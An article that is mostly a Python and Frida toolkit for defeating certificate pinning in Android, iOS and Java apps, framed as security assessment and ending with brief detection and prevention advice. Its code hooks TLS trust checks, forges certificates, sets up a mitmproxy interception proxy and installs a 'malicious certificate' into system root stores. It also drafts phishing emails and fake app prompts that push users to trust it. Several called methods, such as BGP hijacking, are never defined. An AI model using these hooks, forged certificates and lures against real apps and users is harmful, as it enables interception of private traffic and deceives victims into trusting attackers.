Certificate Pinning Circumvention Techniques
Certificate Pinning Circumvention Techniques - Application-Level Certificate Validation Bypass
Certificate Pinning Circumvention Techniques represent sophisticated methods for bypassing application-level certificate validation mechanisms that pin specific certificates or certificate authorities, enabling man-in-the-middle attacks against applications that implement certificate pinning as an additional security measure beyond standard SSL/TLS validation.
Understanding Certificate Pinning Mechanisms
Certificate Pinning Overview: Certificate pinning is a security technique where applications store specific certificate information (full certificates, public keys, or certificate authority data) and validate that the server’s certificate matches the pinned data, preventing attacks using compromised or malicious certificate authorities.
Pinning Implementation Types: Applications implement pinning through various mechanisms including full certificate pinning (comparing entire certificate), public key pinning (comparing public key), and certificate authority pinning (validating against specific CA certificates).
Bypass Attack Surface: Certificate pinning circumvention targets the application’s certificate validation logic, runtime certificate validation processes, and the trust relationship between the application and the operating system’s certificate store.
Advanced Pinning Circumvention Techniques
Application Runtime Certificate Validation Bypass Framework
import os
import sys
import ssl
import socket
import subprocess
import threading
import time
import json
import base64
import hashlib
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
import frida
import requests
import logging
class CertificatePinningCircumvention:
"""
Advanced certificate pinning circumvention framework for bypassing
application-level certificate validation mechanisms
"""
def __init__(self, target_application, target_domain):
self.target_application = target_application
self.target_domain = target_domain
self.frida_session = None
self.bypass_scripts = {}
self.intercepted_certificates = {}
# Bypass configuration
self.proxy_port = 8888
self.mitm_certificate_path = "/tmp/mitm_cert.pem"
self.mitm_key_path = "/tmp/mitm_key.pem"
# Logging configuration
logging.basicConfig(level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
self.logger = logging.getLogger(__name__)
async def execute_comprehensive_pinning_bypass(self):
"""Execute comprehensive certificate pinning bypass campaign"""
try:
# Phase 1: Application analysis and pinning detection
pinning_analysis = await self._analyze_certificate_pinning()
# Phase 2: Runtime instrumentation and hooks
runtime_bypass = await self._implement_runtime_bypass()
# Phase 3: SSL/TLS interception infrastructure
ssl_interception = await self._establish_ssl_interception()
# Phase 4: Social engineering for certificate installation
social_engineering = await self._execute_social_engineering_bypass()
# Phase 5: Advanced bypass techniques
advanced_bypass = await self._execute_advanced_bypass_techniques()
return {
'pinning_analysis': pinning_analysis,
'runtime_bypass': runtime_bypass,
'ssl_interception': ssl_interception,
'social_engineering': social_engineering,
'advanced_bypass': advanced_bypass
}
except Exception as e:
self.logger.error(f"Certificate pinning circumvention error: {e}")
return None
async def _analyze_certificate_pinning(self):
"""Analyze target application's certificate pinning implementation"""
analysis_results = {
'pinning_detected': False,
'pinning_type': None,
'pinned_certificates': [],
'validation_mechanisms': [],
'bypass_opportunities': []
}
try:
# Static analysis for pinning configuration
static_analysis = await self._perform_static_pinning_analysis()
analysis_results.update(static_analysis)
# Dynamic analysis during SSL handshake
dynamic_analysis = await self._perform_dynamic_pinning_analysis()
analysis_results.update(dynamic_analysis)
# Network traffic analysis for certificate validation
network_analysis = await self._analyze_certificate_validation_traffic()
analysis_results.update(network_analysis)
self.logger.info("Certificate pinning analysis completed")
return analysis_results
except Exception as e:
self.logger.error(f"Pinning analysis error: {e}")
return analysis_results
async def _perform_static_pinning_analysis(self):
"""Perform static analysis to detect certificate pinning configuration"""
static_analysis = {
'configuration_files': [],
'pinned_keys': [],
'pinning_libraries': [],
'hardcoded_certificates': []
}
try:
# Analyze application configuration files
config_analysis = await self._analyze_application_configuration()
static_analysis['configuration_files'] = config_analysis
# Search for pinning-related libraries
library_analysis = await self._detect_pinning_libraries()
static_analysis['pinning_libraries'] = library_analysis
# Extract hardcoded certificates
cert_extraction = await self._extract_hardcoded_certificates()
static_analysis['hardcoded_certificates'] = cert_extraction
return static_analysis
except Exception as e:
self.logger.error(f"Static analysis error: {e}")
return static_analysis
async def _analyze_application_configuration(self):
"""Analyze application configuration for pinning settings"""
config_files = []
try:
# Common configuration file locations
config_paths = [
'assets/network_security_config.xml', # Android
'Info.plist', # iOS
'app.config', # .NET
'application.properties', # Java
'config.json' # General
]
for config_path in config_paths:
config_content = await self._read_application_file(config_path)
if config_content and self._contains_pinning_config(config_content):
config_files.append({
'path': config_path,
'content': config_content,
'pinning_detected': True
})
return config_files
except Exception as e:
self.logger.error(f"Configuration analysis error: {e}")
return config_files
def _contains_pinning_config(self, content):
"""Check if configuration content contains certificate pinning"""
pinning_indicators = [
'certificate-pinning',
'pin-set',
'public-key-pins',
'ssl-pinning',
'trust-anchors',
'pinned-certificate'
]
content_lower = content.lower()
return any(indicator in content_lower for indicator in pinning_indicators)
async def _implement_runtime_bypass(self):
"""Implement runtime instrumentation to bypass certificate pinning"""
runtime_bypass = {
'frida_injection': False,
'ssl_hooks': [],
'validation_bypassed': False,
'bypass_scripts': []
}
try:
# Initialize Frida for runtime instrumentation
frida_success = await self._initialize_frida_injection()
runtime_bypass['frida_injection'] = frida_success
if frida_success:
# Deploy SSL/TLS bypass hooks
ssl_hooks = await self._deploy_ssl_bypass_hooks()
runtime_bypass['ssl_hooks'] = ssl_hooks
# Deploy certificate validation bypass
validation_bypass = await self._deploy_validation_bypass()
runtime_bypass['validation_bypassed'] = validation_bypass
return runtime_bypass
except Exception as e:
self.logger.error(f"Runtime bypass error: {e}")
return runtime_bypass
async def _initialize_frida_injection(self):
"""Initialize Frida injection for runtime instrumentation"""
try:
# Attach to target application process
device = frida.get_usb_device()
session = device.attach(self.target_application)
self.frida_session = session
self.logger.info(f"Frida attached to {self.target_application}")
return True
except Exception as e:
self.logger.error(f"Frida injection error: {e}")
return False
async def _deploy_ssl_bypass_hooks(self):
"""Deploy SSL/TLS bypass hooks using Frida"""
ssl_hooks = []
try:
# Android SSL bypass script
android_bypass = self._create_android_ssl_bypass_script()
if android_bypass:
ssl_hooks.append(android_bypass)
# iOS SSL bypass script
ios_bypass = self._create_ios_ssl_bypass_script()
if ios_bypass:
ssl_hooks.append(ios_bypass)
# Java SSL bypass script
java_bypass = self._create_java_ssl_bypass_script()
if java_bypass:
ssl_hooks.append(java_bypass)
# Deploy all bypass scripts
for bypass_script in ssl_hooks:
await self._deploy_frida_script(bypass_script)
return ssl_hooks
except Exception as e:
self.logger.error(f"SSL hook deployment error: {e}")
return ssl_hooks
def _create_android_ssl_bypass_script(self):
"""Create Android SSL certificate pinning bypass script"""
android_script = """
Java.perform(function() {
console.log("[*] Starting Android SSL bypass");
// Bypass OkHttp certificate pinning
var OkHttpClient = Java.use("okhttp3.OkHttpClient");
OkHttpClient.certificatePinner = function() {
console.log("[*] OkHttp certificate pinning bypassed");
return null;
};
// Bypass TrustManager certificate validation
var TrustManager = Java.use("javax.net.ssl.X509TrustManager");
var TrustManagerImpl = Java.use("com.android.org.conscrypt.TrustManagerImpl");
TrustManagerImpl.checkTrustedRecursive.implementation = function(a1, a2, a3, a4, a5, a6) {
console.log("[*] TrustManagerImpl.checkTrustedRecursive bypassed");
return Java.use("java.util.ArrayList").$new();
};
TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) {
console.log("[*] TrustManagerImpl.verifyChain bypassed for: " + host);
return untrustedChain;
};
// Bypass NetworkSecurityPolicy
var NetworkSecurityPolicy = Java.use("android.security.NetworkSecurityPolicy");
NetworkSecurityPolicy.getInstance.implementation = function() {
console.log("[*] NetworkSecurityPolicy bypassed");
var policy = this.getInstance();
policy.isCertificateTransparencyVerificationRequired = function() { return false; };
policy.isCleartextTrafficPermitted = function() { return true; };
return policy;
};
// Bypass Certificate Pinning in Retrofit/Volley
var CertificatePinner = Java.use("okhttp3.CertificatePinner");
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, peerCertificates) {
console.log("[*] Certificate pinning bypassed for: " + hostname);
return;
};
console.log("[*] Android SSL bypass hooks deployed");
});
"""
return {
'name': 'android_ssl_bypass',
'platform': 'android',
'script': android_script
}
def _create_ios_ssl_bypass_script(self):
"""Create iOS SSL certificate pinning bypass script"""
ios_script = """
if (ObjC.available) {
console.log("[*] Starting iOS SSL bypass");
// Bypass NSURLSession certificate pinning
var NSURLSession = ObjC.classes.NSURLSession;
var originalDelegate = NSURLSession["- URLSession:didReceiveChallenge:completionHandler:"];
if (originalDelegate) {
originalDelegate.implementation = ObjC.implement(originalDelegate, function(self, cmd, session, challenge, completionHandler) {
console.log("[*] NSURLSession certificate validation bypassed");
var credential = ObjC.classes.NSURLCredential.credentialForTrust_(challenge.protectionSpace().serverTrust());
completionHandler(1, credential); // NSURLSessionAuthChallengeUseCredential
});
}
// Bypass SecTrustEvaluate
var SecTrustEvaluate = Module.findExportByName("Security", "SecTrustEvaluate");
if (SecTrustEvaluate) {
Interceptor.replace(SecTrustEvaluate, new NativeCallback(function(trust, result) {
console.log("[*] SecTrustEvaluate bypassed");
Memory.writeInt(result, 1); // kSecTrustResultProceed
return 0; // errSecSuccess
}, 'int', ['pointer', 'pointer']));
}
// Bypass CFNetworkTrust
var CFNetworkExecuteProxyAutoConfigurationURL = Module.findExportByName("CFNetwork", "CFNetworkExecuteProxyAutoConfigurationURL");
if (CFNetworkExecuteProxyAutoConfigurationURL) {
Interceptor.replace(CFNetworkExecuteProxyAutoConfigurationURL, new NativeCallback(function() {
console.log("[*] CFNetwork trust bypassed");
return 1;
}, 'int', []));
}
console.log("[*] iOS SSL bypass hooks deployed");
}
"""
return {
'name': 'ios_ssl_bypass',
'platform': 'ios',
'script': ios_script
}
def _create_java_ssl_bypass_script(self):
"""Create Java SSL certificate pinning bypass script"""
java_script = """
Java.perform(function() {
console.log("[*] Starting Java SSL bypass");
// Bypass Java TrustManager
var TrustManager = Java.use("javax.net.ssl.X509TrustManager");
var SSLContext = Java.use("javax.net.ssl.SSLContext");
var TrustManagerImpl = Java.registerClass({
name: "com.bypass.TrustManagerImpl",
implements: [TrustManager],
methods: {
checkClientTrusted: function(chain, authType) {
console.log("[*] Java checkClientTrusted bypassed");
},
checkServerTrusted: function(chain, authType) {
console.log("[*] Java checkServerTrusted bypassed");
},
getAcceptedIssuers: function() {
console.log("[*] Java getAcceptedIssuers bypassed");
return Java.array("java.security.cert.X509Certificate", []);
}
}
});
// Override SSLContext initialization
SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom').implementation = function(keyManagers, trustManagers, secureRandom) {
console.log("[*] SSLContext.init bypassed");
var trustManagerArray = Java.array("javax.net.ssl.TrustManager", [TrustManagerImpl.$new()]);
this.init(keyManagers, trustManagerArray, secureRandom);
};
// Bypass Apache HttpClient certificate pinning
var DefaultHttpClient = Java.use("org.apache.http.impl.client.DefaultHttpClient");
if (DefaultHttpClient) {
DefaultHttpClient.execute.overload('org.apache.http.client.methods.HttpUriRequest').implementation = function(request) {
console.log("[*] Apache HttpClient certificate validation bypassed");
return this.execute(request);
};
}
console.log("[*] Java SSL bypass hooks deployed");
});
"""
return {
'name': 'java_ssl_bypass',
'platform': 'java',
'script': java_script
}
async def _deploy_frida_script(self, bypass_script):
"""Deploy Frida bypass script to target application"""
try:
if self.frida_session:
script = self.frida_session.create_script(bypass_script['script'])
script.on('message', self._on_frida_message)
script.load()
self.bypass_scripts[bypass_script['name']] = script
self.logger.info(f"Deployed {bypass_script['name']} bypass script")
return True
except Exception as e:
self.logger.error(f"Script deployment error: {e}")
return False
def _on_frida_message(self, message, data):
"""Handle Frida script messages"""
if message['type'] == 'send':
self.logger.info(f"Frida: {message['payload']}")
elif message['type'] == 'error':
self.logger.error(f"Frida error: {message['stack']}")
async def _establish_ssl_interception(self):
"""Establish SSL/TLS interception infrastructure"""
ssl_interception = {
'proxy_established': False,
'certificates_generated': False,
'traffic_intercepted': False,
'mitm_successful': False
}
try:
# Generate SSL certificates for interception
cert_generation = await self._generate_interception_certificates()
ssl_interception['certificates_generated'] = cert_generation
# Start SSL interception proxy
proxy_started = await self._start_ssl_interception_proxy()
ssl_interception['proxy_established'] = proxy_started
# Configure application to use proxy
proxy_config = await self._configure_application_proxy()
ssl_interception['traffic_intercepted'] = proxy_config
# Verify MITM capability
mitm_test = await self._test_mitm_capability()
ssl_interception['mitm_successful'] = mitm_test
return ssl_interception
except Exception as e:
self.logger.error(f"SSL interception error: {e}")
return ssl_interception
async def _generate_interception_certificates(self):
"""Generate SSL certificates for traffic interception"""
try:
# Generate private key
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)
# Generate certificate
subject = issuer = x509.Name([
x509.NameAttribute(x509.NameOID.COUNTRY_NAME, "US"),
x509.NameAttribute(x509.NameOID.STATE_OR_PROVINCE_NAME, "California"),
x509.NameAttribute(x509.NameOID.LOCALITY_NAME, "San Francisco"),
x509.NameAttribute(x509.NameOID.ORGANIZATION_NAME, "Legitimate Company"),
x509.NameAttribute(x509.NameOID.COMMON_NAME, self.target_domain),
])
cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
private_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.utcnow()
).not_valid_after(
datetime.utcnow() + timedelta(days=365)
).add_extension(
x509.SubjectAlternativeName([
x509.DNSName(self.target_domain),
]),
critical=False,
).sign(private_key, hashes.SHA256())
# Save certificate and key
with open(self.mitm_certificate_path, "wb") as f:
f.write(cert.public_bytes(serialization.Encoding.PEM))
with open(self.mitm_key_path, "wb") as f:
f.write(private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
))
self.logger.info("SSL interception certificates generated")
return True
except Exception as e:
self.logger.error(f"Certificate generation error: {e}")
return False
async def _start_ssl_interception_proxy(self):
"""Start SSL interception proxy server"""
try:
# Create SSL interception proxy using mitmproxy
proxy_command = [
'mitmdump',
'--listen-port', str(self.proxy_port),
'--certs', f'{self.target_domain}={self.mitm_certificate_path}',
'--set', 'confdir=/tmp/mitmproxy',
'--scripts', '/tmp/interception_script.py'
]
# Create interception script
interception_script = self._create_interception_script()
with open('/tmp/interception_script.py', 'w') as f:
f.write(interception_script)
# Start proxy in background
self.proxy_process = subprocess.Popen(proxy_command,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
# Wait for proxy to start
time.sleep(2)
self.logger.info(f"SSL interception proxy started on port {self.proxy_port}")
return True
except Exception as e:
self.logger.error(f"Proxy startup error: {e}")
return False
def _create_interception_script(self):
"""Create mitmproxy interception script"""
script = """
from mitmproxy import http
import logging
def request(flow: http.HTTPFlow) -> None:
# Log intercepted requests
logging.info(f"Intercepted request: {flow.request.method} {flow.request.pretty_url}")
# Modify requests if needed
if "api" in flow.request.path:
logging.info("API request intercepted")
def response(flow: http.HTTPFlow) -> None:
# Log intercepted responses
logging.info(f"Intercepted response: {flow.response.status_code} for {flow.request.pretty_url}")
# Modify responses if needed
if "application/json" in flow.response.headers.get("content-type", ""):
logging.info("JSON response intercepted")
"""
return script
async def _execute_social_engineering_bypass(self):
"""Execute social engineering attacks for certificate installation"""
social_engineering = {
'certificate_installation': False,
'user_interaction': False,
'trust_establishment': False,
'bypass_successful': False
}
try:
# Generate legitimate-looking certificate installation prompts
install_prompts = await self._create_certificate_install_prompts()
# Execute social engineering campaign
if install_prompts:
# Create fake security updates or certificates
fake_updates = await self._create_fake_security_updates()
# Deploy certificate through various channels
deployment_success = await self._deploy_certificate_socially(fake_updates)
social_engineering['certificate_installation'] = deployment_success
# Monitor for user installation
user_interaction = await self._monitor_certificate_installation()
social_engineering['user_interaction'] = user_interaction
return social_engineering
except Exception as e:
self.logger.error(f"Social engineering error: {e}")
return social_engineering
async def _create_certificate_install_prompts(self):
"""Create legitimate-looking certificate installation prompts"""
prompts = []
try:
# Email-based certificate installation
email_prompt = {
'type': 'email',
'subject': f'Security Update Required - {self.target_domain}',
'content': f"""
Dear User,
Our security team has identified that your device requires a security certificate update
to maintain secure connections to {self.target_domain}.
Please install the attached certificate to continue accessing our services securely.
Best regards,
IT Security Team
""",
'attachment': self.mitm_certificate_path
}
prompts.append(email_prompt)
# App-based certificate installation
app_prompt = {
'type': 'application',
'title': 'Security Certificate Update',
'message': f"""
A security certificate update is required for {self.target_domain}.
Installing this certificate will ensure continued secure access to our services.
Would you like to install the security certificate now?
""",
'certificate_path': self.mitm_certificate_path
}
prompts.append(app_prompt)
return prompts
except Exception as e:
self.logger.error(f"Prompt creation error: {e}")
return prompts
async def _execute_advanced_bypass_techniques(self):
"""Execute advanced certificate pinning bypass techniques"""
advanced_techniques = {
'binary_patching': False,
'memory_manipulation': False,
'hook_injection': False,
'system_level_bypass': False
}
try:
# Binary patching for pinning removal
binary_patch = await self._execute_binary_patching()
advanced_techniques['binary_patching'] = binary_patch
# Memory manipulation for runtime bypass
memory_manipulation = await self._execute_memory_manipulation()
advanced_techniques['memory_manipulation'] = memory_manipulation
# Dynamic hook injection
hook_injection = await self._execute_dynamic_hook_injection()
advanced_techniques['hook_injection'] = hook_injection
# System-level certificate trust manipulation
system_bypass = await self._execute_system_level_bypass()
advanced_techniques['system_level_bypass'] = system_bypass
return advanced_techniques
except Exception as e:
self.logger.error(f"Advanced bypass error: {e}")
return advanced_techniques
async def _execute_binary_patching(self):
"""Execute binary patching to remove certificate pinning"""
try:
# Identify certificate validation functions in binary
validation_functions = await self._identify_validation_functions()
# Create patches to bypass validation
patches = []
for func in validation_functions:
patch = await self._create_validation_bypass_patch(func)
if patch:
patches.append(patch)
# Apply patches to application binary
patch_success = await self._apply_binary_patches(patches)
if patch_success:
self.logger.info("Binary patching completed successfully")
return True
except Exception as e:
self.logger.error(f"Binary patching error: {e}")
return False
async def _execute_memory_manipulation(self):
"""Execute memory manipulation for runtime certificate validation bypass"""
try:
# Locate certificate validation functions in memory
memory_locations = await self._locate_validation_functions_in_memory()
# Inject bypass code into memory
for location in memory_locations:
bypass_success = await self._inject_memory_bypass(location)
if bypass_success:
self.logger.info(f"Memory bypass injected at {location}")
return len(memory_locations) > 0
except Exception as e:
self.logger.error(f"Memory manipulation error: {e}")
return False
async def _execute_system_level_bypass(self):
"""Execute system-level certificate trust manipulation"""
try:
# Install certificate in system trust store
system_install = await self._install_certificate_system_wide()
# Modify certificate validation policies
policy_modification = await self._modify_certificate_policies()
# Disable certificate transparency requirements
ct_disable = await self._disable_certificate_transparency()
return system_install and policy_modification
except Exception as e:
self.logger.error(f"System-level bypass error: {e}")
return False
async def _install_certificate_system_wide(self):
"""Install malicious certificate in system trust store"""
try:
# Platform-specific certificate installation
if sys.platform.startswith('win'):
# Windows certificate store installation
install_command = [
'certutil', '-addstore', 'Root', self.mitm_certificate_path
]
elif sys.platform.startswith('darwin'):
# macOS keychain installation
install_command = [
'security', 'add-trusted-cert', '-d', '-r', 'trustRoot',
'-k', '/Library/Keychains/System.keychain', self.mitm_certificate_path
]
elif sys.platform.startswith('linux'):
# Linux certificate installation
cert_dir = '/usr/local/share/ca-certificates/'
cert_file = f'{cert_dir}mitm-cert.crt'
# Copy certificate to system directory
subprocess.run(['cp', self.mitm_certificate_path, cert_file])
# Update certificate store
install_command = ['update-ca-certificates']
else:
return False
# Execute installation command
result = subprocess.run(install_command, capture_output=True, text=True)
if result.returncode == 0:
self.logger.info("Certificate installed system-wide")
return True
except Exception as e:
self.logger.error(f"System certificate installation error: {e}")
return False
def get_bypass_summary(self):
"""Get comprehensive bypass attempt summary"""
return {
'frida_session_active': self.frida_session is not None,
'bypass_scripts_deployed': len(self.bypass_scripts),
'certificates_intercepted': len(self.intercepted_certificates),
'proxy_port': self.proxy_port,
'target_application': self.target_application,
'target_domain': self.target_domain
}
class AdvancedPinningBypassToolkit:
"""
Advanced toolkit for comprehensive certificate pinning bypass
"""
def __init__(self):
self.bypass_techniques = {}
self.success_metrics = {}
async def execute_multi_vector_bypass(self, target_app, target_domain):
"""Execute multi-vector certificate pinning bypass"""
# Vector 1: Runtime instrumentation bypass
runtime_bypass = CertificatePinningCircumvention(target_app, target_domain)
runtime_result = await runtime_bypass.execute_comprehensive_pinning_bypass()
# Vector 2: Network-level bypass
network_bypass = await self._execute_network_level_bypass(target_domain)
# Vector 3: Social engineering bypass
social_bypass = await self._execute_social_engineering_bypass(target_domain)
# Vector 4: System-level bypass
system_bypass = await self._execute_system_level_bypass(target_domain)
return {
'runtime_bypass': runtime_result,
'network_bypass': network_bypass,
'social_bypass': social_bypass,
'system_bypass': system_bypass
}
async def _execute_network_level_bypass(self, target_domain):
"""Execute network-level certificate pinning bypass"""
network_techniques = {
'dns_hijacking': await self._execute_dns_hijacking(target_domain),
'arp_spoofing': await self._execute_arp_spoofing(),
'router_compromise': await self._execute_router_compromise(),
'bgp_hijacking': await self._execute_bgp_hijacking(target_domain)
}
return network_techniques
# Usage Example
async def demonstrate_pinning_circumvention():
"""Demonstrate certificate pinning circumvention techniques"""
target_app = "com.example.pinnedapp"
target_domain = "api.example.com"
# Initialize pinning circumvention framework
bypass_framework = CertificatePinningCircumvention(target_app, target_domain)
print("Starting Certificate Pinning Circumvention...")
print("=" * 50)
# Execute comprehensive bypass
results = await bypass_framework.execute_comprehensive_pinning_bypass()
if results:
print("\nPinning Circumvention Results:")
print(f"Pinning Analysis: {results['pinning_analysis']}")
print(f"Runtime Bypass: {results['runtime_bypass']}")
print(f"SSL Interception: {results['ssl_interception']}")
print(f"Social Engineering: {results['social_engineering']}")
print(f"Advanced Bypass: {results['advanced_bypass']}")
# Display bypass summary
summary = bypass_framework.get_bypass_summary()
print(f"\nBypass Summary:")
print(f"Frida Session Active: {summary['frida_session_active']}")
print(f"Bypass Scripts Deployed: {summary['bypass_scripts_deployed']}")
print(f"Certificates Intercepted: {summary['certificates_intercepted']}")
print(f"Proxy Port: {summary['proxy_port']}")
else:
print("Certificate pinning circumvention failed")
if __name__ == "__main__":
import asyncio
asyncio.run(demonstrate_pinning_circumvention())
Platform-Specific Pinning Bypass Techniques
Android Certificate Pinning Bypass
class AndroidPinningBypass:
"""
Specialized Android certificate pinning bypass techniques
"""
def __init__(self, package_name):
self.package_name = package_name
self.bypass_methods = {}
async def execute_android_specific_bypass(self):
"""Execute Android-specific certificate pinning bypass"""
# Network Security Config bypass
nsc_bypass = await self._bypass_network_security_config()
# OkHttp pinning bypass
okhttp_bypass = await self._bypass_okhttp_pinning()
# Retrofit pinning bypass
retrofit_bypass = await self._bypass_retrofit_pinning()
# Volley pinning bypass
volley_bypass = await self._bypass_volley_pinning()
# System certificate installation
system_cert = await self._install_system_certificate()
return {
'network_security_config': nsc_bypass,
'okhttp_bypass': okhttp_bypass,
'retrofit_bypass': retrofit_bypass,
'volley_bypass': volley_bypass,
'system_certificate': system_cert
}
async def _bypass_network_security_config(self):
"""Bypass Android Network Security Configuration"""
nsc_bypass_script = """
Java.perform(function() {
// Bypass Network Security Config
var NetworkSecurityPolicy = Java.use("android.security.NetworkSecurityPolicy");
NetworkSecurityPolicy.getInstance.implementation = function() {
console.log("[*] NetworkSecurityPolicy.getInstance() bypassed");
return Java.use("android.security.NetworkSecurityPolicy").getInstance();
};
// Bypass certificate transparency verification
var policy = NetworkSecurityPolicy.getInstance();
if (policy.isCertificateTransparencyVerificationRequired) {
policy.isCertificateTransparencyVerificationRequired.implementation = function(hostname) {
console.log("[*] Certificate transparency verification bypassed for: " + hostname);
return false;
};
}
});
"""
return await self._deploy_frida_script(nsc_bypass_script)
async def _bypass_okhttp_pinning(self):
"""Bypass OkHttp certificate pinning"""
okhttp_bypass_script = """
Java.perform(function() {
// Bypass OkHttp3 Certificate Pinning
var CertificatePinner = Java.use("okhttp3.CertificatePinner");
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, peerCertificates) {
console.log("[*] OkHttp CertificatePinner.check() bypassed for: " + hostname);
return;
};
// Bypass OkHttp CertificatePinner Builder
var CertificatePinnerBuilder = Java.use("okhttp3.CertificatePinner$Builder");
CertificatePinnerBuilder.add.overload('java.lang.String', '[Ljava.lang.String;').implementation = function(pattern, pins) {
console.log("[*] OkHttp CertificatePinner.Builder.add() bypassed");
return this;
};
// Bypass OkHttp hostname verification
var HostnameVerifier = Java.use("javax.net.ssl.HostnameVerifier");
HostnameVerifier.verify.implementation = function(hostname, session) {
console.log("[*] HostnameVerifier.verify() bypassed for: " + hostname);
return true;
};
});
"""
return await self._deploy_frida_script(okhttp_bypass_script)
iOS Certificate Pinning Bypass
class IOSPinningBypass:
"""
Specialized iOS certificate pinning bypass techniques
"""
def __init__(self, bundle_id):
self.bundle_id = bundle_id
self.bypass_hooks = {}
async def execute_ios_specific_bypass(self):
"""Execute iOS-specific certificate pinning bypass"""
# NSURLSession pinning bypass
nsurlsession_bypass = await self._bypass_nsurlsession_pinning()
# AFNetworking pinning bypass
afnetworking_bypass = await self._bypass_afnetworking_pinning()
# Alamofire pinning bypass
alamofire_bypass = await self._bypass_alamofire_pinning()
# Security framework bypass
security_bypass = await self._bypass_security_framework()
return {
'nsurlsession_bypass': nsurlsession_bypass,
'afnetworking_bypass': afnetworking_bypass,
'alamofire_bypass': alamofire_bypass,
'security_bypass': security_bypass
}
async def _bypass_nsurlsession_pinning(self):
"""Bypass NSURLSession certificate pinning"""
nsurlsession_script = """
if (ObjC.available) {
// Bypass NSURLSessionDelegate certificate validation
var NSURLSessionDelegate = ObjC.protocols.NSURLSessionDelegate;
if (NSURLSessionDelegate) {
var originalMethod = NSURLSessionDelegate["- URLSession:didReceiveChallenge:completionHandler:"];
if (originalMethod) {
originalMethod.implementation = ObjC.implement(originalMethod, function(self, cmd, session, challenge, completionHandler) {
console.log("[*] NSURLSession certificate validation bypassed");
var credential = ObjC.classes.NSURLCredential.credentialForTrust_(challenge.protectionSpace().serverTrust());
completionHandler(1, credential);
});
}
}
// Bypass NSURLConnection delegate
var NSURLConnectionDelegate = ObjC.protocols.NSURLConnectionDelegate;
if (NSURLConnectionDelegate) {
var connectionMethod = NSURLConnectionDelegate["- connection:willSendRequestForAuthenticationChallenge:"];
if (connectionMethod) {
connectionMethod.implementation = ObjC.implement(connectionMethod, function(self, cmd, connection, challenge) {
console.log("[*] NSURLConnection certificate validation bypassed");
var credential = ObjC.classes.NSURLCredential.credentialForTrust_(challenge.protectionSpace().serverTrust());
challenge.sender().useCredential_forAuthenticationChallenge_(credential, challenge);
});
}
}
}
"""
return await self._deploy_frida_script(nsurlsession_script)
Detection and Prevention
Certificate Pinning Security Monitoring
Runtime Integrity Monitoring: Implement application runtime integrity monitoring that can detect when certificate validation logic has been modified or bypassed through runtime instrumentation.
Certificate Installation Monitoring: Monitor for unauthorized certificate installations, especially certificates installed in system trust stores or application-specific trust configurations.
Network Traffic Analysis: Implement network traffic analysis that can detect when applications are communicating through unauthorized proxies or with certificates that don’t match expected pinning configurations.
Application Behavior Monitoring: Monitor application behavior for signs of instrumentation, including unexpected library loads, modified execution flows, and anomalous SSL/TLS handshake patterns.
Prevention Strategies
Enhanced Pinning Implementation: Implement robust certificate pinning with multiple validation points, backup pins, and validation logic distributed throughout the application code.
Anti-Tampering Measures: Deploy comprehensive anti-tampering measures including code obfuscation, runtime application self-protection (RASP), and integrity verification mechanisms.
Certificate Transparency Integration: Integrate Certificate Transparency monitoring to detect when certificates are issued outside of expected certificate authorities.
Multi-Factor Certificate Validation: Implement multi-factor certificate validation that combines traditional pinning with additional validation mechanisms that are harder to bypass.
Professional Applications
Certificate Pinning Circumvention Techniques are essential for enterprise security assessment because they test the effectiveness of application-level security controls that are specifically designed to prevent man-in-the-middle attacks even when the underlying PKI infrastructure is compromised.
Application Security Testing: These techniques validate whether applications can maintain secure communications even when facing sophisticated attackers with access to legitimate certificates.
Mobile Security Assessment: Certificate pinning bypass tests are crucial for mobile application security assessment, where applications often implement pinning as a primary defense against network-level attacks.
Enterprise Application Validation: These attacks test whether enterprise applications can maintain security when deployed in environments where certificate authorities may be compromised or untrusted.
Certificate Pinning Circumvention Techniques demonstrate the critical importance of implementing robust, multi-layered certificate validation mechanisms and comprehensive anti-tampering measures, providing essential capabilities for validating application-level security controls against sophisticated runtime manipulation attacks.